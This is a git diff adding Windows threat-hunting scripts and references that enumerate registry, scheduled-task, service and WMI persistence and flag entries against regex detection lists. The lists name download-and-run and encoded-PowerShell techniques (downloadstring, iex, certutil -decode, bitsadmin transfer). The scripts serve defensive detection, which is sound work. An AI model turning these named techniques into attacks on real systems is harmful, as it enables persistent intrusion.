b/skills/hunting-for-persistence-mechanisms-in-windows/references/api-reference.md @@ -0,0 +1,50 @@ +# API Reference — Hunting for Persistence Mechanisms in Windows + +## Libraries Used +- **subprocess**: Execute `reg query`, `schtasks`, `wmic` commands to enumerate persistence +- **csv**: Parse schtasks CSV output for scheduled task analysis +- **re**: Pattern matching for suspicious command-line indicators + +## CLI Interface + +``` +python agent.py registry # Enumerate registry Run keys +python agent.py tasks # Enumerate scheduled tasks +python agent.py services # Enumerate suspicious services +python agent.py all # Run all persistence hunts +``` + +## Core Functions + +### `enumerate_registry_persistence()` +Queries 11 common registry persistence locations using `reg query` and flags entries matching suspicious indicators. + +**Returns:** dict with `total_entries`, `suspicious_entries`, and `findings` list (each with `key`, `name`, `type`, `value`, `suspicious`). + +### `enumerate_scheduled_tasks()` +Runs `schtasks /query /fo CSV /v` and flags tasks with suspicious actions or non-Microsoft authors. + +**Returns:** dict with `total_tasks`, `suspicious_tasks`, and `findings` list. + +### `enumerate_services()` +Uses `wmic service get` to list services and flags those running from unusual filesystem paths. + +**Returns:** dict with `total_services`, `suspicious_services`, and filtered `findings`. + +### `parse_reg_output(output, parent_key)` +Parses `reg query` text output into structured entries with key, name, type, value fields. + +## Registry Keys Checked +| Key Path | Persistence Type | +|----------|-----------------| +| `HKLM\...\CurrentVersion\Run` | Auto-start programs | +| `HKLM\...\Winlogon` | Logon scripts, shell replacement | +| `HKLM\...\Active Setup` | Per-user component execution | +| `HKLM\...\Services` | Service binary paths | +| `HKLM\...\Image File Execution Options` | Debugger hijacking | + +## Suspicious Indicators +Patterns flagging entries: `\\temp\\`, `powershell.*-enc`, `mshta.exe`, `rundll32.exe`, `base64`, `downloadstring`, `\\users\\public\\` + +## Dependencies +No external packages required — uses only Python standard library and Windows built-in commands. diff --git a/skills/hunting-for-persistence-mechanisms-in-windows/scripts/agent.py b/skills/hunting-for-persistence-mechanisms-in-windows/scripts/agent.py new file mode 100644 index 00000000..b72d8a9d --- /dev/null +++ b/skills/hunting-for-persistence-mechanisms-in-windows/scripts/agent.py @@ -0,0 +1,172 @@ +#!/usr/bin/env python3 +"""Agent for hunting Windows persistence mechanisms across registry, services, and scheduled tasks.""" + +import json +import argparse +import subprocess +import re +from datetime import datetime +from pathlib import Path + +REGISTRY_PERSISTENCE_KEYS = [ + r"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", + r"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", + r"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", + r"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", + r"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", + r"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run", + r"HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components", + r"HKLM\SYSTEM\CurrentControlSet\Services", + r"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options", + r"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders", + r"HKCU\Environment", +] + +SUSPICIOUS_INDICATORS = [ + r"\\temp\\", r"\\tmp\\", r"\\appdata\\local\\temp\\", + r"powershell.*-enc", r"cmd\.exe.*/c\s+", + r"\\users\\public\\", r"\\programdata\\", + r"mshta\.exe", r"rundll32\.exe", r"regsvr32\.exe", + r"wscript\.exe", r"cscript\.exe", + r"base64", r"iex\s*\(", r"downloadstring", +] + + +def enumerate_registry_persistence(): + """Enumerate common Windows registry persistence locations using reg query.""" + findings = [] + for key in REGISTRY_PERSISTENCE_KEYS: + try: + result = subprocess.run( + ["reg", "query", key], capture_output=True, text=True, timeout=10 + ) + if result.returncode == 0: + entries = parse_reg_output(result.stdout, key) + for entry in entries: + entry["suspicious"] = any( + re.search(p, entry.get("value", ""), re.I) + for p in SUSPICIOUS_INDICATORS + ) + findings.append(entry) + except (subprocess.TimeoutExpired, FileNotFoundError): + continue + return { + "timestamp": datetime.utcnow().isoformat(), + "total_entries": len(findings), + "suspicious_entries": sum(1 for f in findings if f.get("suspicious")), + "findings": findings, + } + + +def parse_reg_output(output, parent_key): + """Parse reg query output into structured entries.""" + entries = [] + current_key = parent_key + for line in output.strip().split("\n"): + line = line.strip() + if not line: + continue + if line.startswith("HK"): + current_key = line + continue + parts = re.split(r"\s{2,}", line, maxsplit=2) + if len(parts) >= 3: + entries.append({ + "key": current_key, + "name": parts[0], + "type": parts[1], + "value": parts[2], + }) + return entries + + +def enumerate_scheduled_tasks(): + """List scheduled tasks and flag suspicious ones.""" + try: + result = subprocess.run( + ["schtasks", "/query", "/fo", "CSV", "/v"], + capture_output=True, text=True, timeout=30 + ) + except (subprocess.TimeoutExpired, FileNotFoundError): + return {"error": "schtasks not available"} + findings = [] + import csv + from io import StringIO + reader = csv.DictReader(StringIO(result.stdout)) + for row in reader: + task_name = row.get("TaskName", "") + action = row.get("Task To Run", "") + author = row.get("Author", "") + suspicious = any(re.search(p, action, re.I) for p in SUSPICIOUS_INDICATORS) + if suspicious or "\\Microsoft\\" not in task_name: + findings.append({ + "task_name": task_name, + "action": action[:500], + "author": author, + "status": row.get("Status", ""), + "next_run": row.get("Next Run Time", ""), + "suspicious": suspicious, + }) + return { + "total_tasks": len(findings), + "suspicious_tasks": sum(1 for f in findings if f["suspicious"]), + "findings": findings, + } + + +def enumerate_services(): + """List Windows services and flag those running from unusual paths.""" + try: + result = subprocess.run( + ["wmic", "service", "get", "Name,PathName,StartMode,State", "/format:csv"], + capture_output=True, text=True, timeout=30 + ) + except (subprocess.TimeoutExpired, FileNotFoundError): + return {"error": "wmic not available"} + findings = [] + for line in result.stdout.strip().split("\n")[1:]: + parts = line.strip().split(",") + if len(parts) >= 5: + path = parts[3] + suspicious = any(re.search(p, path, re.I) for p in SUSPICIOUS_INDICATORS) + findings.append({ + "name": parts[1], "path": path, + "start_mode": parts[4] if len(parts) > 4 else "", + "state": parts[2], "suspicious": suspicious, + }) + return { + "total_services": len(findings), + "suspicious_services": sum(1 for f in findings if f["suspicious"]), + "findings": [f for f in findings if f["suspicious"]], + } + + +def main(): + parser = argparse.ArgumentParser(description="Hunt for Windows persistence mechanisms") + sub = parser.add_subparsers(dest="command") + sub.add_parser("registry", help="Enumerate registry persistence keys") + sub.add_parser("tasks", help="Enumerate scheduled tasks") + sub.add_parser("services", help="Enumerate suspicious services") + sub.add_parser("all", help="Run all persistence hunts") + args = parser.parse_args() + if args.command == "registry": + result = enumerate_registry_persistence() + elif args.command == "tasks": + result = enumerate_scheduled_tasks() + elif args.command == "services": + result = enumerate_services() + elif args.command == "all": + result = { + "registry": enumerate_registry_persistence(), + "scheduled_tasks": enumerate_scheduled_tasks(), + "services": enumerate_services(), + "timestamp": datetime.utcnow().isoformat(), + } + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/hunting-for-persistence-via-wmi-subscriptions/LICENSE b/skills/hunting-for-persistence-via-wmi-subscriptions/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hunting-for-persistence-via-wmi-subscriptions/LICENSE +++ b/skills/hunting-for-persistence-via-wmi-subscriptions/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hunting-for-persistence-via-wmi-subscriptions/references/api-reference.md b/skills/hunting-for-persistence-via-wmi-subscriptions/references/api-reference.md new file mode 100644 index 00000000..01916dd4 --- /dev/null +++ b/skills/hunting-for-persistence-via-wmi-subscriptions/references/api-reference.md @@ -0,0 +1,54 @@ +# API Reference — Hunting for Persistence via WMI Subscriptions + +## Libraries Used +- **subprocess**: Execute WMIC and PowerShell commands for WMI enumeration +- **python-evtx** (Evtx): Parse Sysmon EVTX for WMI-related events (IDs 19, 20, 21) +- **re**: Pattern matching for suspicious WMI consumer payloads + +## CLI Interface + +``` +python agent.py enumerate # WMIC-based WMI subscription enumeration +python agent.py powershell # PowerShell Get-WMIObject enumeration +python agent.py sysmon --evtx-file # Scan Sysmon EVTX for WMI events +``` + +## Core Functions + +### `enumerate_wmi_subscriptions()` +Queries four WMI subscription classes via WMIC and flags entries matching suspicious patterns. + +**Returns:** dict with `classes` (EventFilter, EventConsumer, ActiveScriptEventConsumer, FilterToConsumerBinding) and `suspicious` list. + +### `scan_sysmon_wmi_events(evtx_file)` +Parses Sysmon EVTX for Event IDs 19 (WmiEventFilter), 20 (WmiEventConsumer), 21 (WmiEventBinding). + +**Parameters:** +| Name | Type | Description | +|------|------|-------------| +| `evtx_file` | str | Path to Sysmon .evtx file | + +### `query_powershell_wmi()` +Uses PowerShell `Get-WMIObject` to enumerate WMI subscriptions in `root\Subscription` namespace. + +## WMI Classes Enumerated + +| Class | Description | +|-------|-------------| +| `__EventFilter` | Defines the WQL query that triggers the subscription | +| `CommandLineEventConsumer` | Executes a command when the filter matches | +| `ActiveScriptEventConsumer` | Runs VBScript/JScript when the filter matches | +| `__FilterToConsumerBinding` | Links a filter to its consumer | + +## Sysmon Event IDs + +| Event ID | Description | +|----------|-------------| +| 19 | WmiEvent - Filter activity detected | +| 20 | WmiEvent - Consumer activity detected | +| 21 | WmiEvent - Consumer-to-filter binding | + +## Dependencies +``` +pip install python-evtx # Optional, for EVTX parsing +``` diff --git a/skills/hunting-for-persistence-via-wmi-subscriptions/scripts/agent.py b/skills/hunting-for-persistence-via-wmi-subscriptions/scripts/agent.py new file mode 100644 index 00000000..83873b36 --- /dev/null +++ b/skills/hunting-for-persistence-via-wmi-subscriptions/scripts/agent.py @@ -0,0 +1,157 @@ +#!/usr/bin/env python3 +"""Agent for hunting WMI event subscription persistence (T1546.003).""" + +import json +import argparse +import subprocess +import re +from datetime import datetime + +WMI_CLASSES = { + "EventFilter": { + "wmic_cmd": ["wmic", "/namespace:\\\\root\\subscription", "path", "__EventFilter", "get", "/format:list"], + "description": "WMI event filters that trigger on system events", + }, + "EventConsumer": { + "wmic_cmd": ["wmic", "/namespace:\\\\root\\subscription", "path", "CommandLineEventConsumer", "get", "/format:list"], + "description": "Command-line consumers that execute when filters trigger", + }, + "ActiveScriptEventConsumer": { + "wmic_cmd": ["wmic", "/namespace:\\\\root\\subscription", "path", "ActiveScriptEventConsumer", "get", "/format:list"], + "description": "Script-based consumers (VBScript/JScript) for WMI persistence", + }, + "FilterToConsumerBinding": { + "wmic_cmd": ["wmic", "/namespace:\\\\root\\subscription", "path", "__FilterToConsumerBinding", "get", "/format:list"], + "description": "Bindings linking event filters to consumers", + }, +} + +SUSPICIOUS_WMI_PATTERNS = [ + r"powershell", r"cmd\.exe", r"mshta", r"rundll32", + r"certutil", r"bitsadmin", r"regsvr32", + r"base64", r"IEX", r"DownloadString", r"Net\.WebClient", + r"invoke-expression", r"new-object.*net\.webclient", + r"\\temp\\", r"\\appdata\\", r"\\users\\public\\", + r"wscript", r"cscript", r"javascript:", r"vbscript:", +] + + +def enumerate_wmi_subscriptions(): + """Enumerate all WMI event subscriptions on the local system.""" + results = {"timestamp": datetime.utcnow().isoformat(), "classes": {}, "suspicious": []} + for class_name, info in WMI_CLASSES.items(): + try: + proc = subprocess.run(info["wmic_cmd"], capture_output=True, text=True, timeout=15) + entries = parse_wmic_list(proc.stdout) + suspicious_entries = [] + for entry in entries: + entry_text = json.dumps(entry).lower() + matched = [p for p in SUSPICIOUS_WMI_PATTERNS if re.search(p, entry_text, re.I)] + if matched: + entry["matched_patterns"] = matched + suspicious_entries.append(entry) + results["classes"][class_name] = { + "description": info["description"], + "total_entries": len(entries), + "entries": entries, + } + results["suspicious"].extend([{**e, "class": class_name} for e in suspicious_entries]) + except (subprocess.TimeoutExpired, FileNotFoundError): + results["classes"][class_name] = {"error": "command failed"} + results["total_suspicious"] = len(results["suspicious"]) + return results + + +def parse_wmic_list(output): + """Parse WMIC /format:list output into list of dicts.""" + entries = [] + current = {} + for line in output.strip().split("\n"): + line = line.strip() + if not line: + if current: + entries.append(current) + current = {} + continue + if "=" in line: + key, _, value = line.partition("=") + current[key.strip()] = value.strip() + if current: + entries.append(current) + return entries + + +def scan_sysmon_wmi_events(evtx_file): + """Parse Sysmon EVTX for WMI events (Event IDs 19, 20, 21).""" + try: + import Evtx.Evtx as evtx_lib + except ImportError: + return {"error": "python-evtx not installed"} + findings = [] + wmi_event_ids = {"19", "20", "21"} + with evtx_lib.Evtx(evtx_file) as log: + for record in log.records(): + xml = record.xml() + for eid in wmi_event_ids: + if f"{eid}" in xml: + suspicious = any(re.search(p, xml, re.I) for p in SUSPICIOUS_WMI_PATTERNS) + findings.append({ + "record_id": record.record_num(), + "event_id": int(eid), + "event_type": { + "19": "WmiEventFilter", "20": "WmiEventConsumer", "21": "WmiEventBinding" + }[eid], + "suspicious": suspicious, + "xml_snippet": xml[:800], + }) + break + return { + "file": evtx_file, + "total_wmi_events": len(findings), + "suspicious_events": sum(1 for f in findings if f["suspicious"]), + "findings": findings[:300], + } + + +def query_powershell_wmi(): + """Use PowerShell Get-WMIObject to enumerate WMI subscriptions.""" + ps_script = """ + $filters = Get-WMIObject -Namespace root\\Subscription -Class __EventFilter | Select Name,Query + $consumers = Get-WMIObject -Namespace root\\Subscription -Class CommandLineEventConsumer | Select Name,CommandLineTemplate + $bindings = Get-WMIObject -Namespace root\\Subscription -Class __FilterToConsumerBinding | Select Filter,Consumer + @{Filters=$filters;Consumers=$consumers;Bindings=$bindings} | ConvertTo-Json -Depth 5 + """ + try: + result = subprocess.run( + ["powershell", "-NoProfile", "-Command", ps_script], + capture_output=True, text=True, timeout=30 + ) + if result.returncode == 0 and result.stdout.strip(): + return json.loads(result.stdout) + return {"error": result.stderr[:500]} + except (subprocess.TimeoutExpired, FileNotFoundError, json.JSONDecodeError) as e: + return {"error": str(e)} + + +def main(): + parser = argparse.ArgumentParser(description="Hunt for WMI event subscription persistence") + sub = parser.add_subparsers(dest="command") + sub.add_parser("enumerate", help="Enumerate WMI subscriptions via WMIC") + sub.add_parser("powershell", help="Enumerate via PowerShell Get-WMIObject") + s = sub.add_parser("sysmon", help="Scan Sysmon EVTX for WMI events (19/20/21)") + s.add_argument("--evtx-file", required=True) + args = parser.parse_args() + if args.command == "enumerate": + result = enumerate_wmi_subscriptions() + elif args.command == "powershell": + result = query_powershell_wmi() + elif args.command == "sysmon": + result = scan_sysmon_wmi_events(args.evtx_file) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/hunting-for-registry-persistence-mechanisms/LICENSE b/skills/hunting-for-registry-persistence-mechanisms/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hunting-for-registry-persistence-mechanisms/LICENSE +++ b/skills/hunting-for-registry-persistence-mechanisms/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hunting-for-registry-persistence-mechanisms/references/api-reference.md b/skills/hunting-for-registry-persistence-mechanisms/references/api-reference.md new file mode 100644 index 00000000..e76648bb --- /dev/null +++ b/skills/hunting-for-registry-persistence-mechanisms/references/api-reference.md @@ -0,0 +1,51 @@ +# API Reference — Hunting for Registry Persistence Mechanisms + +## Libraries Used +- **subprocess**: Execute `reg query /s` to enumerate registry persistence keys +- **re**: Pattern matching for suspicious values in registry entries +- **json**: Baseline file I/O and structured output + +## CLI Interface + +``` +python agent.py scan [--categories run_keys winlogon ifeo] [--save-baseline out.json] +python agent.py compare --baseline baseline.json +``` + +## Core Functions + +### `scan_persistence_keys(categories=None)` +Enumerates registry persistence keys across 8 categories and flags suspicious entries. + +**Parameters:** +| Name | Type | Description | +|------|------|-------------| +| `categories` | list | Optional subset of categories to scan (default: all 8) | + +**Returns:** dict with `categories` map, `all_suspicious` list, and `total_suspicious` count. + +### `compare_baseline(baseline_file, current_scan=None)` +Compares current registry state against a saved baseline to detect new persistence entries. + +**Parameters:** +| Name | Type | Description | +|------|------|-------------| +| `baseline_file` | str | Path to baseline JSON file from previous scan | + +**Returns:** dict with `baseline_entries` count, `new_entries` count, and `findings` list. + +## Registry Categories Scanned + +| Category | Keys | MITRE Technique | +|----------|------|----------------| +| `run_keys` | Run, RunOnce, RunOnceEx | T1547.001 | +| `winlogon` | Winlogon Shell, Userinit | T1547.004 | +| `ifeo` | Image File Execution Options | T1546.012 | +| `appinit` | AppInit_DLLs | T1546.010 | +| `shell_extensions` | ShellExecuteHooks | T1546.015 | +| `browser_helpers` | Browser Helper Objects | T1176 | +| `com_hijack` | CLSID overrides in HKCU | T1546.015 | +| `boot_execute` | BootExecute, Session Manager | T1542.003 | + +## Dependencies +No external packages required — uses Python standard library and `reg.exe`. diff --git a/skills/hunting-for-registry-persistence-mechanisms/scripts/agent.py b/skills/hunting-for-registry-persistence-mechanisms/scripts/agent.py new file mode 100644 index 00000000..9b93389d --- /dev/null +++ b/skills/hunting-for-registry-persistence-mechanisms/scripts/agent.py @@ -0,0 +1,153 @@ +#!/usr/bin/env python3 +"""Agent for hunting registry-based persistence mechanisms on Windows.""" + +import json +import argparse +import subprocess +import re +from datetime import datetime + +PERSISTENCE_KEYS = { + "run_keys": [ + r"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", + r"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", + r"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", + r"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", + r"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx", + ], + "winlogon": [ + r"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", + ], + "ifeo": [ + r"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options", + ], + "appinit": [ + r"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows", + ], + "shell_extensions": [ + r"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks", + r"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad", + ], + "browser_helpers": [ + r"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects", + ], + "com_hijack": [ + r"HKCU\SOFTWARE\Classes\CLSID", + ], + "boot_execute": [ + r"HKLM\SYSTEM\CurrentControlSet\Control\Session Manager", + ], +} + +SUSPICIOUS_PATTERNS = [ + r"\\temp\\", r"\\tmp\\", r"\\appdata\\local\\temp", + r"powershell.*-enc", r"powershell.*-nop", + r"cmd\.exe\s+/c\s+", r"mshta\.exe", r"rundll32\.exe.*javascript", + r"regsvr32\.exe.*/s\s+/n\s+/u\s+/i:", + r"\\users\\public\\", r"\\programdata\\[^m]", + r"certutil.*-decode", r"bitsadmin.*transfer", + r"base64", r"downloadstring", r"iex\s*\(", +] + + +def scan_persistence_keys(categories=None): + """Scan specified registry persistence key categories.""" + if categories is None: + categories = list(PERSISTENCE_KEYS.keys()) + results = {"timestamp": datetime.utcnow().isoformat(), "categories": {}, "all_suspicious": []} + for category in categories: + keys = PERSISTENCE_KEYS.get(category, []) + category_findings = [] + for key in keys: + try: + proc = subprocess.run( + ["reg", "query", key, "/s"], capture_output=True, text=True, timeout=10 + ) + if proc.returncode == 0: + entries = _parse_reg(proc.stdout, key) + for entry in entries: + entry["suspicious"] = _check_suspicious(entry.get("value", "")) + entry["category"] = category + if entry["suspicious"]: + results["all_suspicious"].append(entry) + category_findings.extend(entries) + except (subprocess.TimeoutExpired, FileNotFoundError): + continue + results["categories"][category] = { + "total": len(category_findings), + "suspicious": sum(1 for f in category_findings if f.get("suspicious")), + "entries": category_findings, + } + results["total_suspicious"] = len(results["all_suspicious"]) + return results + + +def _parse_reg(output, default_key): + entries = [] + current_key = default_key + for line in output.strip().split("\n"): + line = line.strip() + if not line: + continue + if line.startswith("HK"): + current_key = line + continue + parts = re.split(r"\s{2,}", line, maxsplit=2) + if len(parts) >= 3: + entries.append({"key": current_key, "name": parts[0], "type": parts[1], "value": parts[2]}) + return entries + + +def _check_suspicious(value): + return any(re.search(p, value, re.I) for p in SUSPICIOUS_PATTERNS) + + +def compare_baseline(baseline_file, current_scan=None): + """Compare current registry state against a known-good baseline.""" + with open(baseline_file, "r") as f: + baseline = json.load(f) + if current_scan is None: + current_scan = scan_persistence_keys() + baseline_set = set() + for cat_data in baseline.get("categories", {}).values(): + for entry in cat_data.get("entries", []): + baseline_set.add((entry.get("key", ""), entry.get("name", ""), entry.get("value", ""))) + new_entries = [] + for cat_name, cat_data in current_scan["categories"].items(): + for entry in cat_data.get("entries", []): + key_tuple = (entry.get("key", ""), entry.get("name", ""), entry.get("value", "")) + if key_tuple not in baseline_set: + entry["status"] = "NEW" + new_entries.append(entry) + return { + "baseline_entries": len(baseline_set), + "new_entries": len(new_entries), + "findings": new_entries, + } + + +def main(): + parser = argparse.ArgumentParser(description="Hunt for registry persistence mechanisms") + sub = parser.add_subparsers(dest="command") + s = sub.add_parser("scan", help="Scan registry persistence keys") + s.add_argument("--categories", nargs="*", choices=list(PERSISTENCE_KEYS.keys()), + help="Categories to scan (default: all)") + s.add_argument("--save-baseline", help="Save scan as baseline JSON file") + c = sub.add_parser("compare", help="Compare against baseline") + c.add_argument("--baseline", required=True, help="Baseline JSON file") + args = parser.parse_args() + if args.command == "scan": + result = scan_persistence_keys(args.categories) + if args.save_baseline: + with open(args.save_baseline, "w") as f: + json.dump(result, f, indent=2) + elif args.command == "compare": + result = compare_baseline(args.baseline) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/hunting-for-scheduled-task-persistence/LICENSE b/skills/hunting-for-scheduled-task-persistence/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hunting-for-scheduled-task-persistence/LICENSE +++ b/skills/hunting-for-scheduled-task-persistence/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hunting-for-scheduled-task-persistence/references/api-reference.md b/skills/hunting-for-scheduled-task-persistence/references/api-reference.md new file mode 100644 index 00000000..7feff53d --- /dev/null +++ b/skills/hunting-for-scheduled-task-persistence/references/api-reference.md @@ -0,0 +1,44 @@ +# API Reference — Hunting for Scheduled Task Persistence + +## Libraries Used +- **subprocess**: Execute `schtasks /query` and `schtasks /query /xml` for task enumeration +- **csv**: Parse schtasks CSV output for structured task analysis +- **python-evtx** (Evtx): Parse Security EVTX for Event ID 4698 (Task Created) + +## CLI Interface + +``` +python agent.py enumerate # List and risk-score all tasks +python agent.py events --evtx-file # Scan EVTX for task creation events +python agent.py export --task-name # Export task XML definition +``` + +## Core Functions + +### `enumerate_tasks()` +Runs `schtasks /query /fo CSV /v` and classifies each task as high/medium/low risk. + +**Returns:** dict with `total_tasks`, `high_risk`, `medium_risk`, `suspicious_tasks`, `non_vendor_tasks`. + +### `scan_event_log_4698(evtx_file)` +Parses Windows Security EVTX for Event ID 4698 (Scheduled Task Created). + +**Parameters:** +| Name | Type | Description | +|------|------|-------------| +| `evtx_file` | str | Path to Security .evtx log file | + +### `export_task_xml(task_name)` +Exports a task's full XML definition using `schtasks /query /tn /xml`. + +## Risk Classification +| Risk | Criteria | +|------|---------| +| **High** | Action matches suspicious patterns (powershell -enc, certutil, temp paths) | +| **Medium** | Non-vendor task (not under \\Microsoft\\, \\Google\\, etc.) | +| **Low** | Known vendor task prefix | + +## Dependencies +``` +pip install python-evtx # Optional, for EVTX parsing +``` diff --git a/skills/hunting-for-scheduled-task-persistence/scripts/agent.py b/skills/hunting-for-scheduled-task-persistence/scripts/agent.py new file mode 100644 index 00000000..a0659e8d --- /dev/null +++ b/skills/hunting-for-scheduled-task-persistence/scripts/agent.py @@ -0,0 +1,133 @@ +#!/usr/bin/env python3 +"""Agent for hunting scheduled task persistence mechanisms (T1053.005).""" + +import json +import argparse +import subprocess +import re +import csv +from io import StringIO +from datetime import datetime + +SUSPICIOUS_TASK_PATTERNS = [ + r"powershell.*-enc", r"powershell.*downloadstring", r"powershell.*iex", + r"cmd\.exe\s+/c", r"mshta\.exe", r"rundll32\.exe", r"regsvr32\.exe", + r"certutil.*-decode", r"bitsadmin.*transfer", + r"wscript\.exe", r"cscript\.exe", + r"\\temp\\", r"\\tmp\\", r"\\appdata\\local\\temp", + r"\\users\\public\\", r"\\programdata\\", + r"base64", r"http://", r"https://.*\.exe", +] + +LEGITIMATE_TASK_PREFIXES = [ + r"\\Microsoft\\", r"\\Adobe\\", r"\\Google\\", r"\\Apple\\", + r"\\Mozilla\\", r"\\Intel\\", r"\\NVIDIA\\", +] + + +def enumerate_tasks(): + """Enumerate all scheduled tasks and flag suspicious ones.""" + try: + proc = subprocess.run( + ["schtasks", "/query", "/fo", "CSV", "/v"], + capture_output=True, text=True, timeout=60 + ) + except (subprocess.TimeoutExpired, FileNotFoundError) as e: + return {"error": str(e)} + findings = [] + reader = csv.DictReader(StringIO(proc.stdout)) + for row in reader: + task_name = row.get("TaskName", "") + action = row.get("Task To Run", "") + author = row.get("Author", "") + schedule = row.get("Schedule Type", "") + status = row.get("Status", "") + is_legit = any(re.search(p, task_name, re.I) for p in LEGITIMATE_TASK_PREFIXES) + is_suspicious = any(re.search(p, action, re.I) for p in SUSPICIOUS_TASK_PATTERNS) + risk = "high" if is_suspicious else ("low" if is_legit else "medium") + findings.append({ + "task_name": task_name, + "action": action[:500], + "author": author, + "schedule": schedule, + "status": status, + "last_run": row.get("Last Run Time", ""), + "next_run": row.get("Next Run Time", ""), + "run_as_user": row.get("Run As User", ""), + "risk": risk, + "suspicious_match": is_suspicious, + }) + suspicious = [f for f in findings if f["risk"] in ("high", "medium")] + return { + "timestamp": datetime.utcnow().isoformat(), + "total_tasks": len(findings), + "high_risk": sum(1 for f in findings if f["risk"] == "high"), + "medium_risk": sum(1 for f in findings if f["risk"] == "medium"), + "suspicious_tasks": [f for f in findings if f["suspicious_match"]], + "non_vendor_tasks": [f for f in findings if f["risk"] == "medium"], + } + + +def scan_event_log_4698(evtx_file): + """Parse Security EVTX for Event ID 4698 (Scheduled Task Created).""" + try: + import Evtx.Evtx as evtx_lib + except ImportError: + return {"error": "python-evtx not installed"} + findings = [] + with evtx_lib.Evtx(evtx_file) as log: + for record in log.records(): + xml = record.xml() + if "4698" not in xml: + continue + suspicious = any(re.search(p, xml, re.I) for p in SUSPICIOUS_TASK_PATTERNS) + findings.append({ + "record_id": record.record_num(), + "suspicious": suspicious, + "xml_snippet": xml[:1000], + }) + return { + "file": evtx_file, + "task_creation_events": len(findings), + "suspicious_events": sum(1 for f in findings if f["suspicious"]), + "findings": findings[:200], + } + + +def export_task_xml(task_name): + """Export a specific scheduled task's XML configuration for analysis.""" + try: + proc = subprocess.run( + ["schtasks", "/query", "/tn", task_name, "/xml"], + capture_output=True, text=True, timeout=10 + ) + if proc.returncode == 0: + return {"task_name": task_name, "xml": proc.stdout} + return {"error": proc.stderr.strip()} + except (subprocess.TimeoutExpired, FileNotFoundError) as e: + return {"error": str(e)} + + +def main(): + parser = argparse.ArgumentParser(description="Hunt for scheduled task persistence") + sub = parser.add_subparsers(dest="command") + sub.add_parser("enumerate", help="Enumerate and risk-score scheduled tasks") + e = sub.add_parser("events", help="Scan Security EVTX for task creation events") + e.add_argument("--evtx-file", required=True) + x = sub.add_parser("export", help="Export task XML for analysis") + x.add_argument("--task-name", required=True) + args = parser.parse_args() + if args.command == "enumerate": + result = enumerate_tasks() + elif args.command == "events": + result = scan_event_log_4698(args.evtx_file) + elif args.command == "export": + result = export_task_xml(args.task_name) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/hunting-for-shadow-copy-deletion/LICENSE b/skills/hunting-for-shadow-copy-deletion/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hunting-for-shadow-copy-deletion/LICENSE +++ b/skills/hunting-for-shadow-copy-deletion/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hunting-for-spearphishing-indicators/LICENSE b/skills/hunting-for-spearphishing-indicators/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hunting-for-spearphishing-indicators/LICENSE +++ b/skills/hunting-for-spearphishing-indicators/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hunting-for-supply-chain-compromise/LICENSE b/skills/hunting-for-supply-chain-compromise/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hunting-for-supply-chain-compromise/LICENSE +++ b/skills/hunting-for-supply-chain-compromise/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hunting-for-suspicious-scheduled-tasks/LICENSE b/skills/hunting-for-suspicious-scheduled-tasks/LICENSE index 27f5a0fe..09d37ad6 